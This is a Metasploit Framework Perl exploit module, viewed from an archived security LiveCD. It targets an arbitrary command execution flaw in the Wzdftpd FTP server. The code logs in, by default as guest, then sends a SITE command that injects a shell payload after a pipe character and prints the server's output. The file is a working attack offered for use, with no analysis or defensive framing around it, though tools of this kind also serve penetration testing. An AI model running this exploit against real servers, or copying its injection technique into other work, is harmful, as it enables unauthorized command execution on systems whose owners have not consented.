home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / wzdftpd_site.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  150 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::wzdftpd_site;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13.  
  14. my $advanced = { };
  15.  
  16. my $info = {
  17.     'Name'     => 'Wzdftpd SITE Command Arbitrary Command Execution',
  18.     'Version'  => '$Revision: 1.3 $',
  19.     'Authors'  => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
  20.     'Arch'     => [ ],
  21.     'OS'       => [ ],
  22.     'Priv'     => 1,
  23.     'UserOpts' =>
  24.       {
  25.         'RHOST'  => [1, 'ADDR', 'The target address'],
  26.         'RPORT'  => [1, 'PORT', 'The target port', 21],
  27.         'USER'   => [1, 'DATA', 'Username', 'guest'],
  28.         'PASS'   => [1, 'DATA', 'Password', '%'],
  29.         'SITECMD'=> [1, 'DATA', 'Custom site command'],
  30.       },
  31.  
  32.     'Description' => Pex::Text::Freeform(qq{
  33.         This module exploits an arbitrary command execution vulnerability in Wzdftpd
  34.         threw SITE command. Wzdftpd version to 0.5.4 are vulnerable.
  35. }),
  36.     'Refs' =>
  37.       [
  38.         ['BID', '14935'],
  39.       ],
  40.  
  41.     'Payload' =>
  42.       {
  43.         'Space' => 128,
  44.         'Keys'  => ['cmd','cmd_bash'],
  45.       },
  46.  
  47.     'Keys' => ['wzdftpd_site'],
  48.  
  49.     'DisclosureDate' => 'Sep 24 2005',
  50.   };
  51.  
  52. sub new {
  53.     my $class = shift;
  54.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  55.     return($self);
  56. }
  57.  
  58. sub Check {
  59.     my $self = shift;
  60.     my $target_host = $self->GetVar('RHOST');
  61.     my $target_port = $self->GetVar('RPORT');
  62.  
  63.     my $s = Msf::Socket::Tcp->new
  64.       (
  65.         'PeerAddr'  => $target_host,
  66.         'PeerPort'  => $target_port,
  67.       );
  68.     if ($s->IsError) {
  69.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  70.         return $self->CheckCode('Connect');
  71.     }
  72.     my $res = $s->Recv(-1, 5);
  73.     $s->Close();
  74.  
  75.     if (! $res) {
  76.         $self->PrintLine("[*] No FTP banner");
  77.         return $self->CheckCode('Unknown');
  78.     }
  79.  
  80.     if ($res =~ /220 wzd server ready/)
  81.     {
  82.         $self->PrintLine("[*] FTP Server is a wzdftpd server");
  83.         return $self->CheckCode('Appears');
  84.     }
  85.     else
  86.     {
  87.         $self->PrintLine("[*] FTP Server is probably not vulnerable");
  88.         return $self->CheckCode('Safe');
  89.     }
  90. }
  91.  
  92. sub Exploit {
  93.     my $self = shift;
  94.     my $target_host     = $self->GetVar('RHOST');
  95.     my $target_port     = $self->GetVar('RPORT');
  96.     my $custom_site_cmd =$self->GetVar('SITECMD');
  97.     my $encodedPayload  = $self->GetVar('EncodedPayload');
  98.     my $cmd             = $encodedPayload->RawPayload;
  99.     my $user            = $self->GetVar('USER');
  100.     my $pass            = $self->GetVar('PASS');
  101.  
  102.     my $s = Msf::Socket::Tcp->new(
  103.         'PeerAddr' => $target_host,
  104.         'PeerPort' => $target_port,
  105.       );
  106.  
  107.     if ($s->IsError){
  108.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  109.         return;
  110.     }
  111.  
  112.     $self->PrintLine("[*] Establishing a connection to the FTP server ...");
  113.  
  114.     $s->Send("USER ".$user);
  115.  
  116.     my $result = $s->Recv(-1, 20);
  117.     if (!($result=~/\d{3} User .+ okay, need password/))
  118.     {
  119.         $self->PrintLine("[*] Invalid user");
  120.         return;
  121.     }
  122.  
  123.     $s->Send("PASS ".$pass);
  124.     $result = $s->Recv(-1, 20);
  125.  
  126.     if (!($result=~/\d{3} User logged in/))
  127.     {
  128.         $self->PrintLine("[*] Invalid password");
  129.         return;
  130.     }
  131.  
  132.     $s->Send("SITE ".$custom_site_cmd." | $cmd;");
  133.     $result = $s->Recv(-1, 20);
  134.     if (!($result=~/^200/))
  135.     {
  136.         $self->PrintLine("[*] Error: $result");
  137.         return;
  138.     }
  139.  
  140.     $self->PrintLine('');
  141.     my @results = split ( /\n/, $result );
  142.     chomp @results;
  143.     for (my $i = 1; $i < @results -1; $i++){
  144.         $self->PrintLine("$results[$i]");
  145.     }
  146.     return;
  147. }
  148.  
  149. 1;
  150.